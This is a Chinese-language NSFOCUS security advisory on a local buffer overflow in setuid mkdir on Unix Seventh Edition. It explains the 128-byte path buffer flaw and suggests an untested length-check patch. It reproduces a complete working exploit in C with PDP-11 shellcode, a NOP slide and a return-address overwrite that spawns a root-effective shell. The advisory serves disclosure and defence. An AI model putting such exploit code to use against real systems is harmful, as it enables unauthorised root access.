安全研究

安全漏洞
Mkdir本地缓冲区溢出漏洞

发布日期:2004-06-02
更新日期:2004-06-07

受影响系统:
Bell Labs Unix Seventh Edition
描述:
BUGTRAQ  ID: 10462

mkdir是用户用于建立目录的工具。

mkdir在处理路径数据时缺少充分边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以root权限在系统上执行任意指令。

Mkdir通过set-user-id机制获得root用户权限使用mknod系统调用建立目录,在建立子目录前,mkdir先验证新目录是否存在,并且用户可访问此目录,在执行测试过程中,mkdir拷贝用户提供的路径到固定的临时缓冲区,这有mkdir()函数完成。

mkdir()函数先查找提供路径中最后路径分隔符('/'),然后拷贝所有数据到pname缓冲区,由于pname缓冲区只有128字节长度,用户提供路径超长,可能发生缓冲区溢出。

攻击者在UNIX 7th Edition系统上可成功获得root用户权限。

<*来源:Tim Newsham (newsham@lava.net
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108627540130457&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Tim Newsham (newsham@lava.net)提供了如下测试方法:

/*
* Exploit for /bin/mkdir Unix V7 PDP-11.
* mkdir has a buffer overflow when checking if the directory
* in /arg/with/slashes/fname exists.
*
* This will run /bin/sh with euid 0, but not uid 0.  Since
* the shell doesn't do anything special about this, we don't
* really care.  If you care, run  setuid(0); execl("/bin/sh", 0);
*/

/*
.globl  _main
_main:
    mov  pc,r1
    sub  $-[sh-_main-2], r1             / pointer to sh
    mov  r1, r2
    sub  $-8, r2
    clrb -1(r2)                         / null terminate
    mov  r1, r2
    clr  -(r1)                          / char *env[] = {0}
    mov  r1, r3
    mov  r2, -(r1)                      / char *argv[] = {sh, 0}
    mov  r1, r4
    mov  r3, -(r1)                      / reverse of sh,argv,env
    mov  r4, -(r1)
    mov  r2, -(r1)
    sys  59.; 11111; 11111; 11111       / call execve
argv:   11111; 11111
sh:     </bin/sh>
*/

char egg[] = { 0301, 021, 0301, 0345, 0326, 0377, 0102, 020,
    0302, 0345, 0370, 0377, 062, 0212, 0377, 0377,
    0102, 020, 041, 012, 0103, 020, 0241, 020,
    0104, 020, 0341, 020, 041, 021, 0241, 020,
    073, 0211, 0111, 022, 0111, 022, 0111, 022,
    0111, 022, 0111, 022, 057, 0142, 0151, 0156,
    057, 0163, 0150, 0 };

#define NOPSLIDE 50
#define CNT 136
#define PC 0xfea0

main(argc, argv)
    int argc;
    char **argv;
{
    char buf[400];
    int i;
    char *argv2[4];

    /* nop slide + egg */
    for(i = 0; i < NOPSLIDE; ) {
        buf[i++] = 0301;
        buf[i++] = 021;
    }
    strcpy(buf + i, egg);

    /* pad out to CNT */
    for(i = strlen(buf); i < CNT; i++)
        buf[i] = 'a';

    /* overwrite retaddr */
    buf[i++] = PC & 0xff;
    buf[i++] = PC >> 8;

    /* extra stuff */
    buf[i++] = '/';
    buf[i++] = 'a';
    buf[i++] = 0;

    argv2[0] = "/bin/mkdir";
    argv2[1] = buf;
    argv2[2] = 0;
    execv(argv2[0], argv2);
    return 0;
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 建议在/usr/src/cmd/mkdir.c中mkdir()函数开始处增加如下检查:

if(strlen(d) >= 126) {
fprintf(stderr, "mkdir: path is too long\n");
++Errors;
return;
}

此方法没有经过测试。

厂商补丁:

Bell Labs
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://museum.sysun.com/museum/unix7.html

浏览次数:2990
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障